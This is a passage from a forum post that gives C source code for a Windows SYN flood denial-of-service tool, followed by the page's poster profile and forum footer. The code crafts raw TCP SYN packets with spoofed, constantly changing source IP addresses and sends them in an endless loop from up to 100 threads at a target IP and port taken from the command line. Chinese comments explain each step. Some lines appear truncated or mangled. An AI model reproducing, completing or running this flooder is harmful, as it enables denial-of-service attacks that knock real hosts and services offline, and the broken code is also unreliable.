tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
for(;
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;//循环,当SEQ为65535时,重置为1
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);//源IP地址不断改变
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
//计算ip校验和
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
//构建好数据包后发送数据包
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();
}//end for
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);
//原子操作,就是编译出来的cpu的指令和微指令都是“原子”的。cpu每一次处理一条指令,
//然后才可能切换到另一个线程上
return 0;
}
void usage(char *name)
{
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}
int main(int argc,char* argv[])
{
if(argc!=4)
{
usage(argv[0]);
return 0;
}
usage(argv[1]);
int ErrorCode=0;
DestIP=argv[1];//取得目标主机IP
port=atoi(argv[2]);//取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100
WSADATA wsaData;
/*这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets数据。它包含Winsock.dll执行的数据。
* 结构原型:
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR * lpVendorInfo;
} WSADATA, FAR * LPWSADATA;
*/
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}
printf("[start]...........\nPress any key to stop!\n");
while(threadnum
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();//终止Winsock 2 DLL (Ws2_32.dll) 的使用
printf("\n[Stopd]...........\n");
return 0;
}
cyjian- Spammer
- Posts : 211
Points : 72975
Reputation : 0
Join date : 2014-06-18
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|